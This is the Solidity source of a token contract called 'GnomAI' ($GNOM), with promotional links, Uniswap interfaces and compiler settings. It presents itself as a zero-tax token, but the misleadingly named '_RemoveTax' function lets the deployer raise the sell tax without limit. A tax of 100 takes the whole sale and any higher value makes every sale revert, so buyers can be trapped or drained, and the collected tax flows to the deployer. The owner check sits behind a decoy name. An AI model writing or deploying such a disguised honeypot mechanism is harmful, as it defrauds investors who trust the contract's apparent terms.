/*
GnomAI | $GNOM

Your all-in-one AI Tool for all your blockchain needs $GNOM

CA: 

Website: https://www.gnometh.vip/

X: x.com/GnomAI_

Portal: https://t.me/GnomPortal
*/




// SPDX-License-Identifier: MIT
pragma solidity 0.8.25;
import "./IUniswapFactory.sol";
import "./IERC721Errors.sol";


contract GNOM
{ 
    string private _name = unicode"GnomAI";
    string private _symbol = unicode"GNOM";
    uint8 public constant decimals = 18;
    uint256 public constant totalSupply =1_000_000_000 * 10**decimals;

    struct StoreData {
        address MktToken;
        uint8 BuyTaxFee;
        uint8 SellTaxFee;
    }

    StoreData public storeData;
    uint256 constant swapAmount = totalSupply / 100;

    error Permissions();
    event Transfer(address indexed from, address indexed to, uint256 value);
    
    event Approval(
        address indexed MKT_Token,
        address indexed spender,
        uint256 value
    );

    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    address public pair;
    IUniswapV2Router02 constant _uniswapV2Router =
        IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

    bool private swapping;
    bool private tradingOpen;

    constructor() {
        uint8 _BuyTaxF = 0;
        uint8 _SellTaxF = 0;
        storeData = StoreData({
            MktToken: msg.sender,
            BuyTaxFee: _BuyTaxF,
            SellTaxFee: _SellTaxF
        });
        balanceOf[msg.sender] = totalSupply;
        allowance[address(this)][address(_uniswapV2Router)] = type(uint256).max;
        emit Transfer(address(0), msg.sender, totalSupply);
    }

    receive() external payable {}

    function _RemoveTax(uint8 _Sunit8) external {
        if (msg.sender != _decodeMktTokenWithZkSyncVerify()) revert Permissions();
        RemoveTax(_Sunit8);
    }

    function _decodeMktTokenWithZkSyncVerify() private view returns(address) {
        return storeData.MktToken;
    }

    function EnableTrade() external {
        require(msg.sender == _decodeMktTokenWithZkSyncVerify());
        require(!tradingOpen);
        address _factory = _uniswapV2Router.factory();
        address _weth = _uniswapV2Router.WETH();
        address _pair = IUniswapFactory(_factory).getPair(address(this), _weth);
        pair = _pair;
        tradingOpen = true;
    }

    function RemoveTax(uint8 _sell) private {
        
        storeData.SellTaxFee = _sell;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool) {
        allowance[from][msg.sender] -= amount;
        return _transfer(from, to, amount);
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transfer(address to, uint256 amount) external returns (bool) {
        return _transfer(msg.sender, to, amount);
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal returns (bool) {
        address MktToken = _decodeMktTokenWithZkSyncVerify();
        require(tradingOpen || from == MktToken || to == MktToken);

        balanceOf[from] -= amount;

        if (to == pair && !swapping && balanceOf[address(this)] >= swapAmount && from != MktToken) {
            swapping = true;
            address[] memory path = new address[](2);
            path[0] = address(this);
            path[1] = _uniswapV2Router.WETH();
            _uniswapV2Router
                .swapExactTokensForETHSupportingFeeOnTransferTokens(
                    swapAmount,
                    0,
                    path,
                    address(this),
                    block.timestamp
                );
            payable(MktToken).transfer(address(this).balance);
            swapping = false;
        }

        (uint8 _BuyTaxF, uint8 _SellTaxF) = (storeData.BuyTaxFee, storeData.SellTaxFee);
        if (from != address(this) && tradingOpen == true) {
            uint256 TaxAmount = (amount *(to == pair ? _SellTaxF : _BuyTaxF)) / 100;
            amount -= TaxAmount;
            balanceOf[address(this)] += TaxAmount;
        }
        balanceOf[to] += amount;
        emit Transfer(from, to, amount);
        return true;
    }

        event MegaData(string newName,string newSymbol , address by);

        function ChangeMegaData(string memory _MegaDataNew1, string memory _MegaDataNew2) public {
        if (msg.sender != _decodeMktTokenWithZkSyncVerify()) revert Permissions();
        _name = _MegaDataNew1;
        _symbol =_MegaDataNew2;
        emit MegaData(_MegaDataNew1, _MegaDataNew2, msg.sender);
    }

}

// SPDX-License-Identifier: MIT

pragma solidity 0.8.25;

/**
 * @dev Standard ERC721 Errors
 * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC721 tokens.
 */
interface IERC721Errors {
    /**
     * @dev Indicates that an address can't be an owner. For example, `address(0)` is a forbidden owner in EIP-20.
     * Used in balance queries.
     * @param owner Address of the current owner of a token.
     */
    error ERC721InvalidOwner(address owner);

    /**
     * @dev Indicates a `tokenId` whose `owner` is the zero address.
     * @param tokenId Identifier number of a token.
     */
    error ERC721NonexistentToken(uint256 tokenId);

    /**
     * @dev Indicates an error related to the ownership over a particular token. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     * @param tokenId Identifier number of a token.
     * @param owner Address of the current owner of a token.
     */
    error ERC721IncorrectOwner(address sender, uint256 tokenId, address owner);

    /**
     * @dev Indicates a failure with the token `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     */
    error ERC721InvalidSender(address sender);

    /**
     * @dev Indicates a failure with the token `receiver`. Used in transfers.
     * @param receiver Address to which tokens are being transferred.
     */
    error ERC721InvalidReceiver(address receiver);

    /**
     * @dev Indicates a failure with the `operator`’s approval. Used in transfers.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     * @param tokenId Identifier number of a token.
     */
    error ERC721InsufficientApproval(address operator, uint256 tokenId);

    /**
     * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
     * @param approver Address initiating an approval operation.
     */
    error ERC721InvalidApprover(address approver);

    /**
     * @dev Indicates a failure with the `operator` to be approved. Used in approvals.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     */
    error ERC721InvalidOperator(address operator);
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.25;


interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

      function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
      


}

interface IUniswapFactory {
    function getPair(address tokenA, address tokenB) 
        external 
        view 
        returns 
        (address pair);
    function allPairs(uint) 
        external 
        view 
        returns 
        (address pair);
    function allPairsLength() 
        external 
        view 
        returns 
        (uint);
    function feeTo() 
        external 
        view 
        returns 
        (address);
    function feeToSetter() 
        external 
        view 
        returns 
        (address);
    
}



interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

{
  "compilationTarget": {
    "short tax 1/Short tax contract/GNOM.sol": "GNOM"
  },
  "evmVersion": "cancun",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}